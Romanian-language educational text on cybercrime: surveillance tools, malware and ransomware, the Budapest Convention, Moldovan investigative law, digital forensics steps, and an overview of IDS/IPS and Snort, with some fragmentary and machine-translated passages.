De exemplu, sistemul Carnivore dezvoltat de către Biroul Federal de Investigaţii al SUA (FBI), menit să faciliteze
agenţiei accesul la activităţile informatice desfăşurate de potenţialii infractori. Un alt sistem creat, la fel, de FBI a fost
Omnivore, utilizat, în special, pentru supravegherea traficului de mesaje de poştă electronică. Alt sistem, mult mai
complex, poate fi menționat DragonWare Suite.
O altă metodă de interceptare indirectă sau de la distanţă o constituie folosirea programelor tip keylogger, adware,
spyware.
Programele de tip Adware şi Spyware se încarcă automat în PC-ul personal în momentul vizitării unei anumite
pagini Web. Scopul lor este de a înregistra “traseul online” şi a transmite înapoi celor care le-au trimis (de obicei este
vorba despre companii care fac comerţ prin Internet, firme de marketing şi publicitate) date şi informaţii despre
preferinţele utilizatorului în materie de pagini Web, conţinut, tematică etc.
Un program Keylogger este o aplicaţie specializată care înregistrează fiecare tastă pe care o apasă un utilizator şi
trimite informaţiile către persoana care a instalat programul. Acest software poate extrage informaţii extrem de
folositoare, cum ar fi numărul cărţii de credit, rapoarte ale companiei, informaţii secrete dintr-o instituţie sau date cu
caracter financiar. Tot în aceeaşi gamă există şi programele de monitorizare a emailurilor: Websense, MIMEsweeper,
FastTrack etc.
RISCURI ȘI RECOMANDĂRI
Pentru a ajuta la protejarea computerului de programe spion, utilizați un program antispyware, (de exemplu,
WindowsDefender).
Banala tastatură. În esenţă, se pot decoda sunetele produse de butoanele tastaturii. Cercetătorii de la Berkley,
Universitatea California, au descoperit că o simplă înregistrare a sunetelor produse de tastatură poate fi folosită pentru
descifrarea textului scris de utilizator, indiferent dacă este o parolă, o scrisoare de dragoste sau un secret de stat. Experţii în
computere ai renumitei instituţii academice au înregistrat timp de 10 minute sunetele produse de o tastatură. Fişierul audio
rezultat a fost introdus într-un computer şi "decriptat" cu ajutorul unui software special. Au fost recuperate cu exactitate 96%
din caracterele scrise de utilizator. Asta înseamnă că textul a putut fi dedus fără nici o problemă, chiar dacă mai lipsea câte o
literă la câteva cuvinte.
Astăzi persoane interesate captează, cu ajutorul unor dispozitive speciale, radiaţiile electromagnetice existente în
imediata vecinătate a monitorului computerului ţintă, pe care le „traduc” transformându-le în impulsuri electrice şi, mai
apoi, în caractere alfanumerice.
RISCURI ȘI RECOMANDĂRI
Tehnologia de protecţie a sistemelor de calcul împotriva captării emisiilor se numeşte TEMPEST – Transient
ElectroMagnetic Pulse Emanation STandardizing.
3
Există mai multe clase de viruşi. Fiecare clasă foloseşte o metodă diferită pentru a se reproduce. Printre cele mai
frecvente şi interesante tipuri de viruşi amintim: viruşii de criptare polimorfici şi nonpolimorfici, viruşii invizibili, viruşii
lenţi, viruşii retro, viruşii multipartiţi, viruşii protejaţi şi viruşii fagi, viruşii macro etc.
Virusul Cal Troian se ascunde în codul unui fişier non-executabil (de exemplu, fişiere comprimate sau fişiere
document) sau, în unele cazuri, chiar într-un fişier executabil pentru a nu fi detectat de majoritatea programelor antivirus.
Un Cal Troian va intra în execuţie după ce a trecut cu bine de programul de detecţie antivirus. Deseori, viruşii Cal Troian
apar sub masca unor programe utile sau ca fişiere bibliotecă în cadrul unui fişier arhivă comprimat.
Viermele Internet produce căderea unui sistem prin crearea unui număr extrem de mare de copii ale acestuia în
memoria calculatorului, eliminând toate programele din memorie. Deoarece un virus-vierme are tendinţa să dezactiveze
calculatorul infectat, hackerii construiesc în general viruşi-vierme care trec de la calculatorul infectat la un altul, aflat în
conexiune cu primul. Viruşii-vierme se copiază pe alte calculatoare folosind protocoale obişnuite.
RISCURI ȘI RECOMANDĂRI
O soluţie este de a memora informaţia şi programele de securitate pe medii izolate, nemodificabile, cum ar fi o
unitate WORM – unitate de stocare pe suport optic.
4
Programele malițioase răspândite la moment sunt de tip Ransomware, ce împiedică accesul la fișiere, sau chiar la întregul sistem
informatic infectat, până la plata unei „recompense” (ransom). Este una dintre cele mai supărătoare forme de malware, întrucât
produce pagube financiare directe, iar de cele mai multe ori fișierele criptate de malware nu pot fi decriptate. Pentru a îngreuna
procesul de recuperare a fișierelor, ransomware-urile blochează accesul la fișiere (documente, fotografii, muzică, video etc.) prin
criptarea asimetrică a acestora. Cele mai recente versiuni sunt Wanna Cry, care a afectat companii și instituții din aproape 200 de
tări (mai 2017) și Petya/Petrwrap, care se răspândește doar în reteaua internă unde a avut loc infecția inițială a unei stații de
lucru, realizată prin intermediul unor documente atașate unor mesaje email de tip phishing, pe care utilizatorii sunt îndemnati să le
deschidă (iunie 2017).
RISCURI ȘI RECOMANDĂRI
1. Majoritatea atacurilor vizează exploatarea componentei umane (social engineering, phishing, spear phishing,
spam etc.). În consecință, nu accesați link-urile sau atașamentele conținute de mesajele email suspecte înainte de a
verifica, în prealabil, sursa/legitimitatea acestora.
2. O atenție sporită trebuie acordată site-urilor web pe care le accesați și surselor online pe care le utilizați
pentru descărcarea sau actualizarea aplicațiilor.
3. Cea mai eficientă metodă pentru combaterea amenințării ransomware este realizarea periodică de backup
(copii de rezervă) pentru datele stocate/procesate cu ajutorul sistemelor informatice. IMPORTANT! Pentru backup
utilizați un mediu de stocare extern care nu este conectat în permanență la sistem.
4. Activați opțiunile de tip System Restore în cazul sistemelor de operare Windows pentru toate partițiile de
stocare. Datele ar putea fi rapid restaurate prin aducerea sistemului la o stare anterioară. ATENȚIE! Nu vă bazați
exclusiv pe această facilitate deoarece unele versiuni recente de ransomware șterg datele din System Restore.
Convenţia Consiliului Europei asupra Criminalităţii Informatice, semnată la Budapesta la 23 noiembrie 2001,
încearcă în principal să armonizeze dispoziţiile de drept substanţial cu caracter penal în domeniul informatic, să
implementeze dispoziţii procedurale necesare pentru investigarea şi urmărirea unor asemenea infracţiuni şi să pună la
punct un sistem rapid şi eficient de cooperare internaţională.
Convenţia are, în consecinţă, patru capitole:
I – Înţelesul unor termeni şi expresii;
II – Măsuri necesare a fi luate la nivel naţional – Drept penal şi procedură penală;
III – Cooperarea internaţională;
IV – Dispoziţii finale.
Secţiunea I a cap. al II-lea (dispoziţii de drept penal) se referă atât la incriminarea unor fapte ca infracţiuni, cât şi la
alte aspecte de drept material, referitoare la răspunderea penală, participaţie şi sancţiuni.
Sunt definite aici nouă infracţiuni grupate în patru categorii diferite. Astfel, sunt considerate infracţiuni aducând
atingere confidenţialităţii, integrităţii şi disponibilităţii datelor şi sistemelor informatice:
- Accesarea ilegală (art.2);
- Interceptarea ilegală (art.3);
- Alterarea integrităţii datelor (art.4);
- Alterarea integrităţii sistemului (art.5)
- Abuzurile asupra dispozitivelor (art.6).
Sunt prevăzute ca infracţiuni în legătură cu mediul informatic:
- Falsificarea informatică (art.7);
- Frauda informatică (art.8).
O altă categorie de infracţiuni se referă la:
- Pornografia infantilă (art.9)
Ultima categorie face referire la:
- Infracţiuni care aduc atingere proprietăţii intelectuale şi drepturilor conexe (art.10).
Secţiunea a II-a a cap. al II-lea se referă la dispoziţii procedurale în materie penală, aplicabile în cazul săvârşirii
infracţiunilor prevăzute în secţiunea I, în cazul săvârşirii oricărei infracţiuni de drept comun prin intermediul sistemelor
informatice, ori în situaţiile în care dovada săvârşirii oricărei infracţiuni se regăseşte stocată într-un sistem informatic.
Totodată, se stabilesc condiţiile şi măsurile de protecţie aplicabile în cazurile mai sus menţionate. Astfel, se instituie
măsuri privind:
- conservarea rapidă a datelor informatice stocate (art.16);
- conservarea şi dezvăluirea parţială rapidă a datelor referitoare la trafic (art.17);
- ordinul de punere la dispoziţie a datelor (art.18);
- percheziţia şi sechestrarea datelor informatice stocate (art.19);
5
- colectarea în timp real a datelor referitoare la trafic (art.20);
- interceptarea datelor referitoare la conţinut (art.21).
De asemenea, sunt prevăzute dispoziţii referitoare la competenţă.
Capitolul al III-lea conţine dispoziţii privind asistenţa judiciară internaţională în materie penală în privinţa infracţiunilor
săvârşite prin mijloace informatice, incluzând şi dispoziţii referitoare la extrădare. Sunt prevăzute astfel două situaţii privind
asistenţa judiciară:
- când nu există nici o bază legală privind asistenţa judiciară între părţi, situaţie în care se aplică prevederile cap. al III-
lea;
- în situaţia în care această bază legală există, iar în acest caz dispoziţiile cap. al III-lea vin numai să completeze
dispoziţiile lacunare, dacă există.
Cooperarea judiciară se referă la dispoziţiile procedurale prevăzute în cap. al II-lea, secţiunea a II-a, dispoziţii enumerate
mai sus. În plus, sunt prevăzute în acest capitol dispoziţii privind accesul direct de la un sistem informatic aflat pe teritoriul
naţional la date stocate într-un sistem informatic aflat pe teritoriul unei alte ţări, în două situaţii, fără a fi nevoie de asistenţă
judiciară, respectiv atunci când se obţine consimţământul persoanei care are dreptul să dispună de aceste date, ori în situaţia în
care aceste date au fost puse anterior la dispoziţia publicului.
De asemenea se pun bazele unei reţele de cooperare care să funcţioneze non-stop între statele semnatare, pentru a
prelua şi rezolva cu promptitudine cererile de asistenţă judiciară.
Capitolul al IV-lea conţine clauzele finale, care cu câteva excepţii, repetă dispoziţiile standard din tratatele
Consiliului Europei. Republica Molodva a implementat în întregime dispoziţiile acesteia.
Legislația Republicii Moldova a înputernicit mai multe organe speciale cu atribuții de relevare a atentatelor
criminale, de prevenire, curmare, descoperire a infracțiunilor și a persoanelor care le organizează, le comit sau le-au
comis, inclusiv a infracțiunilor informaționale și a fraudelor prin Internet. Astfel:
6
1. Conform art.266 CPP, competența organului de urmărire penală a MAI care efectuează urmărirea penală pentru
orice infracțiune care nu este dată prin lege în competența altor organe de urmărire penală sau este dată în competența
lui prin ordonanța procurorului.
2. Conform art.269 CPP, competența organului de urmărire penală al CCCEC care efectuează urmărirea penală în
privința infracțiunlor prevăzute la art. 236-2611, 324-326, 330-336 din Codul penal.
3. Conform art.273 CPP, sunt abilitate cu funcții de control și alte servicii de stat care participă nemijlocit la verificarea activității
economico-financiare a întreprinderilor, instituțiilor, organizațiilor de stat și a organelor administrației publice locale și centrale.
4. Conform HG RM cu privire la aprobarea Regulamentului Agenției Naționale pentru Reglementare în
Telecomunicații și Informatică, nr.843 din 18.08.2000, toate aceste organe sunt abilitate cu atribuții de depistare a
infracțiunilor, inclusiv a infracțiunilor informaționale și a fraudelor prin Internet, însă doar serviciile operative ale MAI, SIS,
SV și CCCEC, în calitate de organe de constatare, sunt împuternicite atât cu funcții de depistare, cât și cu funcții de verificare
a faptelor prejudecabile, în volumul deplin până la pornirea urmăririi penale, iar organele MAI și ale CCCEC exercită și
urmărirea penală.
5.1. Probatoriul
Probatoriul se realizează după următoarele direcții de bază:
- acumularea de date care confirmă faptul comiterii unor acțiuni ilegale cu utilizarea informației electronice și a
tehnicii de calcul;
- efectuarea acțiunilor de urmărire penală și a altor măsuri de stabilire a legăturii cauzale dintre acțiunile care
constituie metoda de efectuare a unei operații nelgitime și survenirea urmăririlor prin detalierea caracterului acțiunilor
comise de către persoana vinovată;
- stabilirea mărimii pagubei cauzate de acțiunile ilegale;
- acumularea și fixarea faptelor care confirmă implicarea persoanei bănuite sau învinuite de comiterea acțiunilor și
survenirea rezultatelor.
Sosind la locul percheziției sau al examinării, este necesar:
- să se între imediat și inopinat în încăperea unde se află calculatorul, pentru a reduce la minimum posibilitățile de distrugere
a informației care se află în calculator;
RISCURI ȘI RECOMANDĂRI
În unele cazuri, înainte de a intra în încăperea unde urnează a fi efectuată percheziția, aceasta să fie deconectată de la rețeaua
de alimentare cu curent electric.
Personalul să fie trecut în altă încăpere.
RESTRICȚII
De a interzice tuturor persoanelor care lucrează la calculatoare din obiectivul la care se efectuează percheziția,
precum și altor persoane, să se atingă de calculatoarele care funcționează, de mediile de stocare a informațiilor, de tastele
de conectare/deconectare a calculatoarelor.
De a interzice întregului personal să conecteze sau să deconecteze alimentarea cu energie electrică a obiectivului.
7
(prezenţa şi tipul instalaţiilor pentru discuri, cartelă de reţea, grupa de contante etc.), prezenţa conexiunii cu reţeaua
locală de calculatoare sau cu reţelele de telecomunicaţii, starea instalaţiilor (întreagâ sau cu urme de desfacere);
- a descrie exact ordinea de interconectare a instalaţiilor indicate, marcînd (în caz de necesitate) conductoarele de
conexiune şi locurile de conexiune, după care instalaţiile calculatorului vor fi deconectate;
- a se stabili, cu ajutorul unui specialist, prezenţa în interiorul calculatorului a unor piese străine, sustragerea unor
microscheme, deconectarea sursei interne de alimentare cu curent electric (acumulatorului);
- a se împacheta (cu indicarea în procesul-verbal a locului depistării lor) suporturile magnetice, optice etc. Pentru
împachetare se pot utiliza atît casete speciale de păstrare, cît şi pachete de hîrtie sau polietilenă, care exclud nimerirea
prafului, a murdăriei pe suprafaţa de lucru a discului;
- a se împacheta fiecare componentă a calculatorului şi conductoarele de conexiune. Pentru excluderea accesului
altor programe, vor fi sigilate blocul, butonul de conectare a calculatorului şi locul de conectare a conductorului electric,
de asemenea, locurile de unire a părţilor laterale cu panourile din faţă şi din spate ale calculatorului.
La soluţionarea expertizei pot fi formulate întrebări privind compatibilitatea unor programe, posibilitatea utilizării
unui anumit program la un anume calculator şi altele în afară de aceasta, se pot pune întrebări privind destinaţia unui
sau altui obiect utilizat în tehnica de calcul
- Care este destinaţia şi posibilităţile de utilizare ale acestui obiect? Ce fel de particularităţi de construcţie are acesta?
- Din ce părţi constă acesta? A fost elaborat în condiţii industriale, casnice sau artizanale?
- Dacă obiectul respectiv a fost confecţionat în condiţii artizanale, atunci din ce domeniu al ştiinţei, tehnicii sau
meşteşugăritului este persoana care a creat acest obiect şi care este nivelul său de professionalism?
- Împreună cu ce obiecte şi aparate ar putea fi utilizat obiectul menţionat?
8
a probelor de natură digitală obţinute din surse de natură informatică în scopul facilitării descoperirli adevărului în
cadrul procesului penal.
Un posibil model de bune practici în domeniul investigaţiilor criminalistice de natură informatică cuprinde următorii
paşi:
1. Identlficarea incidentului - recunoaşterea unui incident şi determinarea tipului acestuia. Nu reprezintă efectiv o etapă
a investigaţiei criminalistice, dar are un impact semnificativ asupra următoarelor etape.
2. Pregătirea investigaţiei - pregătirea instrumentelor, verificarea procedurilor, obţinerea documentelor ce permit
percheziţia etc.
3. Formularea strategiei de abordare - formularea unei strategii în funcţie de tehnologia implicată şi de posibilele
consecinţe asupra persoanelor şi instituţiilor impiicate. Scopul formulării acestei strategii este să maximizeze potenţialul
obţinerii de probe relevante, minimizînd, în acelaşi timp, impactul negativ asupra victimei.
4. Asigurarea probelor - izolarea, asigurarea şi păstrarea probelor de natură fizică şi digitală. Aceasta include
îndepărtarea celora care ar putea denatura probele în orice fel.
5. Strîngerea probelor - înregistrarea ambianţei fizice şi copierea probelor digitale folosind practici şi proceduri comune
şi acceptate.
6. Examinarea probelor – examinarea în profunzime a probelor, căutarea elementelor care sînt în legătură cu fapta penală
investigată. Acest lucru presupune localizarea şi identificarea probelor, precum şi documentarea fiecărui pas, în scopul
facilitării analizei.
7. Analiza probelor - determinarea semnificaţiei probelorşi relevarea concluziilor cu privire la fapta investigată.
8. Prezentarea probelor - sintetizarea concluziilor şi prezentarea lor într-un mod inteligibil pentru nespecialişti. Această
sinteză trebuie susţinută de o documentaţie tehnică detaliată.
9. Restiîuirea probelor - dacă este cazul, returnarea către proprietarii de drept a obiectelor reţinute în timpul
investigaţiei. Dacă este cazul, determinarea, în funcţie de prevederile legilor procedurale penale, a confiscării obiectelor.
Următoarele crlterii sînt utile în aprecierea oportunităţii privind ridicarea sistemelor informatice:
- Criteriul volumului probelor. Particularitatea sistemelor informatice de a permite stocarea unui volum foarte mare
de informaţie într-un spaţiu de dimensiuni fizice reduse face ca investigaţia să necesite un volum mare de timp
pentru obţinerea probelor relevante. Astfel de cercetări pe o perioadă de timp mare pot fi conduse mult mai eficient
în laborator.
- Criteriul dificultăţilor de natură tehnică.
Copierea trebuie realizată după un procedeu demn de încredere. Pentru a putea avea această caracteristică, copierea
trebuie:
- să asigure posibilitatea verificării de către terţi; instanţa de judecată sau partea adversă, să poată să verifice
acurateţea copiei realizate;
- să aibă ca rezultat copii sigure, ce nu pot fi falsificate.
Bibliografie
9
2. Gheorghe Alecu, Alexei Barbăneagră, Regrementarea penală și investigarea criminalistică a infracțiunilor din
domeniul informatic, Ed. Pinguin Book, 2006.
3. Gheorghe Alecu, Particularități ale investigației penale și criminalistice a unor infracțiuni din domeniul informatic,
AP, 8/2, 2005.
4. Ghid introductiv pentru aplicarea dispoziţiilor legale referitoare la criminalitatea informatică, USAID din Romănia,
Bucureşti, 2004.
5. Veaceslav Soltan, Tehnologii informaționale, Cartea XX, Institutul Național al Justiției, Chișinău, 2009.
6. Legea privind prevenirea şi combaterea criminalităţii informatice, nr. 20-XVI din 03.02.09.
7. Hotărârea Guvernului Nr. 811 din 29.10.2015 privind aprobarea Programului național de securitate cibernetică a
Republicii Moldova pentru anii 2016-2020.
8. Hotărârea Guvernului Nr. 201 din 28.03.2017 privind aprobarea Cerinţelor minime obligatorii de securitate
cibernetică.
9. Codul penal al R.M.
10
1. IDS/ISP
Securitate stratificata este cheia pentru protejarea oricarei rețea de orice dimensiune, iar
pentru cele mai multe companii, înseamnă implementarea ambelor sisteme de detectare a
intruziunilor (IDS) și sisteme de prevenire a intruziunilor (IPS). Când vine vorba de IPS și IDS -
ambele sunt necesare pentru protecție maximă împotriva traficului de produse malitioase. De
fapt, furnizori sunt din ce în ce orientati spre combinarea celor două tehnologii într-un singur
pachet.
Un dispozitiv IDS este pasiv, pachetele de date traversează rețeaua printr-un port de
monitorizare, si în cazul în care se detectează ceva suspect IDS semnaleaza alarma. Un IDS
poate detecta mai multe tipuri de trafic malitios, care ar aluneca de un firewall tipic, inclusiv
atacuri de rețea împotriva serviciilor, bazate pe date de atacuri asupra aplicațiilor, atacuri
bazate pe gazdă, cum ar fi datele de conectare neautorizate, si malware cum ar fi viruși, cai
troieni, viermi.. Cele mai multe produse IDS folosesc mai multe metode pentru a detecta
amenințări, de obicei, detectare bazată pe semnături, detectare a anomaliilor desfasurate, și
analiza de protocol dinamică. Motorul IDS înregistrează incidente care sunt înregistrate de
senzorii IDS într-o bază de date și generează alerte pe care le trimite la administratorul de
rețea. Deoarece IDS oferă vizibilitate adânca în activitatea de rețea, acesta poate fi de
asemenea utilizata pentru a ajuta la problemele punctuale cu politica de securitate a
organizației, amenințările existente de documente. Plângerea principal cu IDS este numărul de
alarme false.
Avantajul IPS
Un IPS are toate caracteristicile unui IDS bun, si poate opri traficul in caz de detectare a
codului malitios. Spre deosebire de un IDS, IPS sta in linie cu fluxurile de trafic pe rețea si in caz
de detectare a virusilor se poate opri atacul de reziliere a conexiunii la rețea, prin blocarea
accesului la țintă de la contul de utilizator, adresa IP sau alt atribut asociat cu acel atacator, sau
prin blocarea de orice acces la gazdă țintă, servicii , sau aplicație. În plus, un SPI poate răspunde
la o amenințare detectată în alte două moduri. Se poate reconfigura alte controale de
securitate, cum ar fi un firewall sau router, pentru a bloca un atac. Unele dispozitive IPS pot
aplica patch-uri, chiar dacă gazda are anumite vulnerabilități. În plus, unele IPS pot elimina
conținutul malware, de exemplu ștergerea unui atașament infectat de la un e-mail înainte de a
transmite e-mail a utilizatorului.
Deoarece dispozitivele IDS și IPS stau în locuri diferite pe rețea, ele pot - și ar trebui - să fie
utilizate concomitent. Un produs IPS instalat în perimetrul rețelei va ajuta la stoparea atacurilor
Zero Day, cum ar fi viermi și viruși, chiar si cele mai noi amenințări pot fi blocate cu reglare
riguroasă. Un produs IDS instalat în interiorul firewall-ul va monitoriza activitatea internă, paza
împotriva amenințării din interior mereu este prezent, și să dea o mai mare vizibilitate în
evenimentele de securitate, trecute și prezente. Alegerea unui produs care oferă ambele
tehnologii pot fi abordarea cea mai eficientă și eficace.
Diferențierea IDS și IPS
Un IPS nu este la fel ca un IDS. Cu toate acestea, tehnologia pe care o utilizați pentru a
detecta problemele de securitate într-o IDS este foarte similar cu tehnologia pe care o utilizați
pentru a preveni problemele de securitate într-o IPS.
Este important să începem cu înțelegerea că IDS și IPS sunt instrumente foarte, foarte
diferite. Chiar dacă acestea au o bază comună, acestea se încadrează în rețeaua în locuri
diferite, au functii diferite, și de a rezolva diferite probleme.
Un IPS este cel mai bine în comparație cu un firewall. Într-un firewall tipic întreprindere,
veți avea un număr de reguli: poate o sută, poate o mie. Cele mai multe dintre aceste reguli
sunt reguli "pass": "permite trafic prin intermediul." Astfel, firewall-ul devine un pachet de pe
sârmă și începe prin normele sale, în căutarea pentru o regulă care spune că "permite acest
pachet prin." Dacă se ajunge la sfârșitul listei și nu există nici o regulă spune "permite acest
pachet prin," atunci exista un "nega" regula final: ". Drop totul altceva" Astfel, în lipsa unui
motiv pentru a trece de trafic firewall scade.
Și IPS este așa, dar pe dos: are reguli, poate sute, poate mii. Cele mai multe dintre aceste
reguli sunt reguli "neagă": "bloca această problemă de securitate cunoscut." Când un pachet
apare la IPS, IPS arata prin lista de regula de sus în jos, în căutarea pentru un motiv să renunțe
la pachet. La sfârșitul listei, deși, este un implicit "trecere" regula: "permit acest pachet prin."
Astfel, în lipsa unui motiv să renunțe trafic, IPS acesta trece prin.
Firewall-uri și IPS sunt dispozitive de control. Ei stau în linie între două rețele și controla
traficul trece prin ele. Acest lucru înseamnă că IPS este în partea politica a casei de securitate.
Se va pune în aplicare sau a pune în aplicare o politică special cu privire la ceea ce traficul nu
este permis prin intermediul.
Afinitatea evident de firewall-uri și IPSes din punct de vedere topologic ne-a dus la lumea
de UTM, în cazul în care un IPS este încorporat în firewall. UMTS să aveți ambele servicii de
securitate (blocarea amenințărilor de securitate, care să permită traficul de bine cunoscut), într-
un singur dispozitiv. Vom vorbi despre cea mai bună în compresie de IPS si firewall, firewall
UTM (Unified Threat Management) mai târziu.
Principalul motiv de a avea un IPS este de a bloca atacurile cunoscute într-o rețea. Atunci
când există o fereastră de timp între când un exploit este anunțată și aveți timp sau
posibilitatea de a patch sistemele, un IPS este un mod excelent de a bloca rapid atacurile
cunoscute, în special cele cu ajutorul unui instrument comun sau bine-cunoscut exploit.
Desigur, IPSes poate oferi alte servicii. Ca furnizori de produse căuta să se diferențieze,
IPSes au devenit instrumente de limitare rata (care este, de asemenea, de ajutor în Denial de
atenuare Service), instrumente de aplicare a politicii, datele scurgeri de instrumente de
protecție, și comportament instrumente de detectare anomalie. În fiecare caz, totuși, funcția
cheie a SPI este o funcție de control.
În mâinile unui analist de securitate, IDS devine o fereastră în rețea. Informațiile furnizate
de IDS va contribui la securitatea și echipele de management de rețea descoperi, ca un start:
Încălcări ale politicii de securitate, cum ar fi sistemele sau utilizatorii care execută aplicații
împotriva politicii
Infectii, cum ar fi virusi sau troieni care au control parțial sau complet de sisteme interne,
folosindu-le să se răspândească infecția și ataca alte sisteme
Scurgere de informații, cum ar fi rularea spyware și furnizori de bustean cheie, precum și
scurgerea de informații accidentală de către utilizatori valabile
Erori de configurare, cum ar fi aplicații sau sisteme cu setările de securitate incorecte sau
de performanță, uciderea greșelile rețea, precum firewall-uri greșelilor în setul de reguli nu se
potrivește cu politica
Clientii neautorizate și servere, inclusiv aplicații server de rețea în pericol, cum ar fi DHCP
sau servicii DNS, împreună cu aplicațiile neautorizate, cum ar fi instrumente de scanare în rețea
sau desktop la distanță negarantate.
Această vizibilitate crescută în postura de securitate a rețelei este ceea ce caracterizează
un IDS, și care diferențiază funcția vizibilitatea unui IDS din funcția de control al unui SPI.
Mai important motiv pentru care a plecat "intruziune" din descrierea atât pentru IDS și IPS
este că ele nu sunt foarte bun la prinderea intruși adevărat. Un IPS va bloca atacurile cunoscute
foarte bine, dar cele mai multe dintre aceste atacuri sunt fie recunoaștere rețea sau scanari
automate, căutarea sau alte sisteme pentru a infecta - greu "intruziuni" în sensul clasic al
cuvântului. Cel mai bun sistem de prevenire a intruziunilor, în acest caz, este firewall, care nu
lasa trafic necorespunzătoare în rețea, în primul rând.
Da, un IDS va detecta intruziuni adevărat. Da, un IPS va bloca intruziuni adevărat. Dar
aceste produse nu mai mult de atât - ele oferă un control mai mare și o mai mare vizibilitate,
care este în cazul în care valoarea lor reală.
Cerințe preliminare
Pentru a obține cele mai multe din articol, ar trebui să aveți cunoștințe de bază de Snort,
Linux și un sistem Linux de lucru pe care le puteți practica comenzile cuprinse în acest articol.
De asemenea, ar trebui să aveți unele cunoștințe de rețea, cum ar fi TCP / IP, iptables, etc
Intrusion Detection System (IDS) este un dispozitiv care monitorizeaza pachetele din
rețea. IDS raportează comportamente de atac, bazate pe normele de securitate și semnăturile
aplicate pe dispozitiv. Cu toate acestea IDS are anumite dezavantaje, cum ar fi de mare rata de
rezultate fals pozitive, în imposibilitatea de a opri Denial of Service (DoS) atac și de intruziuni
din protocoalele UDP.
Intrusion Prevention System (IPS), pe de altă parte, are nu numai capacitatea de IDS, dar,
de asemenea, poate scădea pachete malware și sesiuni de strânsă legătură, în scopul de a opri
atacurile viitoare. IPS-ar putea realiza în timp real Interzicerea de pârghie desfășurarea în linie
în topologia rețelei. Acesta analizează tot traficul de rețea care trece prin sistem si ia măsuri
pentru pachete suspecte imediat.
Având în vedere diferențele dintre IDS și IPS, desfășurarea acestor două sisteme este
proiectat în funcție de caracteristicile lor.
IDS, de obicei, joacă rolul de monitorizare. IDS trebuie să fie capabil de a mirosi de trafic
care interesează IDS în timp ce nu compromite transfer rețeaua globală. Următoarea figură
ilustrează modul tipic de implementarea unui dispozitiv IDS la o rețea.
În general Snort este un software sofisticat IDS, care monitorizează traficul de rețea
pentru a detecta și analiza comportamentul ataca în conformitate cu reguli predefinite. Snort
trimite alerte la administratorul de rețea în timp ce sunt detectate atacuri sau activități de rețea
anormale. Totuși, funcția de sistem este limitat la monitorizarea pasiv petrecere. Acțiunea de
protecție trebuie să se bazeze pe răspunsul administratorului.
Deși Snort este frecvent utilizat ca un IDS, acesta are unele capabilități îmbunătățite ar
putea face într-un SPI. Acest articol ilustrează în special modul în care Snort poate acționa ca un
dispozitiv de IPS.
Prin utilizarea următoarele setări, Snort devine o IPS să ia măsuri imediate pentru Trafic
suspecte.
Fig. 1.1 IDS la nivel software şi hardware (în patea dreptă se observă avantajele folosirii
sistmelor de tip IPS pentru protecţia unor instituţii speciale cum ar fi baze militare, închisori,
etc.)
Intrusion Detection System (IDS)
Este din ce in ce mai important, pentru personalul ce asigura securitatea retelei sa apere
resursele companiei, nu doar pasiv, prin utilizarea de firewall-uri, retele virtuale private (VPN),
tehnici de criptare sau orice alte “trucuri pe care le au in maneca”, dar si prin implementarea
unor dispozitive ce supravegheaza proactiv reteaua. Aceasta este momentul in care intra in
actiune Intrusion Detection System (IDS) – sistemele de detectare a intruziunii.
In general, intruziune este atunci cand cineva incearca sa patrunda abuziv sau exploateaza
o slabiciune a sistemulului dumneavoastra pentru a avea acces neautorizat la o resursa. Mai
precis, politica de securitate a companiei dumneavoastra defineste ceea ce constituie o
intruziune.
Intrusion Detection System este utilizat pentru a detecta comportamente malitioase care
incearca sa se furisese in retea si sa compromita securitatea unui sistem informatic. Acestea
includ atacurile asupra retelelor ce gazduiesc servicii si aplicatii vulnerabile, atacurile asupra
unui anumit sistem/host, cum ar fi conectari neautorizate si acces la fisiere sensibile, precum si
malware (virusi, cai troieni si viermi). Odata intrat in retea/sistem, virusul poate dormita
saptamani intregi inainte de a-si indeplini misiunea. Pentru a fi eficient IDS-ul trebuie sa-si
actualizeze baza de date cu semnaturi, dar pentru ca cracker-ii sunt intr-o continua cautare,
compania nu este niciodata complet imuna.
Trebuie mentionat ca sunt doua tipuri de intrusi: interni si externi.
Desi majoritatea tentativelor de intruziune, apar din interior organizatiei sau sunt facute
de catre intrusi interni, cele mai frecvente masuri de securitate sunt implementate pentru a
proteja interiorul retelei de lumea exterioara. Intrusii externi sunt deseori denumiti crackers.
Este clara necesitatea unui mecanism care sa poate detecta continuu ambele tipuri de
intruziuni. IDS-urile sunt solutii eficiente pentru ambele tipuri de atacuri. Aceste sisteme ruleaza
permanent in retea, notificand personalul responsabil cu securitatea retelei, atunci cand
detecteaza o tentativa pe care o considera suspecta. IDS-ul are doua componente principale si
anume: senzori IDS si management IDS.
Senzorii IDS pot fi atat software cat si hardware si sunt utilizati pentru a colecta si analiza
traficul din retea. Acesti senzori sunt disponibili in doua variante, pentru retea si pentru
calculator (host).
1. Senzorul IDS pentru host/gazda este o aplicatie agent care ruleaza pe un server cu un
minim de incarcare pentru a monitorizara sistemul de operare.
2. Senzor IDS pentru retea poate fi incorporat intr-un dispozitiv de retea, poate fi
dispozitiv independent sau poate fi un modul de monitorizare a traficului din retea.
Componenta de management IDS, asigura colectarea avertizarilor si realizeaza
configurarea si implementarea serviciilor pe senzori IDS din retea.
In lista de instrumente ce supravegheaza proactiv traficul din retea se regaseste atat NBA
(Network Behavior Analysis – analizeaza comportamentul intr-o retea), cat si IPS (Intrusion-
prevention systems – sistem de prevenire a intruziunii).
Pentru inceput sa facem o comparatie intre cele trei instrumente IDS, NBA si IPS
NBA este un instrument ce are capacitatea de a identifica anumite modele de trafic care
nu sunt considerate normale in traficul de zi cu zi din retea. Pur si simplu, aceasta este o
incercare a industriei din domeniu de a identifica nereguli in retea dincolo de pragul simplu al
setarilor pentru trafic excesiv. Unul dintre cele mai raspandite modele de trafic anormal ce
reprezinta o amenintare la adresa securitatii retelei este modelul cunoscut ca atac DdoS
(Distributed Denial of Service). Acest tip de atac este o mare amenintare la adresa securitatii
furnizorilor de servicii de Internet precum si pentru infrastructurile mari de retea. Distributed
Denial of Service (DDoS) – acest atac foloseste atacuri DoS pornite de mai multe host-uri. Prima
data atacatorul compromite host-urile vulnerabile, folosind diferite instrumente si tehnici, apoi
urmeaza atacul real DDoS pe o anumita tinta folosind intreg grupul de host-uri compromise.
IPS-urile sunt dispozitive instalate in retea destinate detectarii si blocarii unei mari
varietati de atacuri. Unele studii din domeniul cercetarii arata ca aceste IPS-uri sunt folosite
pentru detectarea intruziunii si pentru monitorizarea pasiva a traficului.
Cu alte cuvinte orice echipament IPS poate fi folosit ca si echipament IDS.
Echipamentele IPS in general lucreaza impreuna cu sistemele NBA si IDS. Cand este
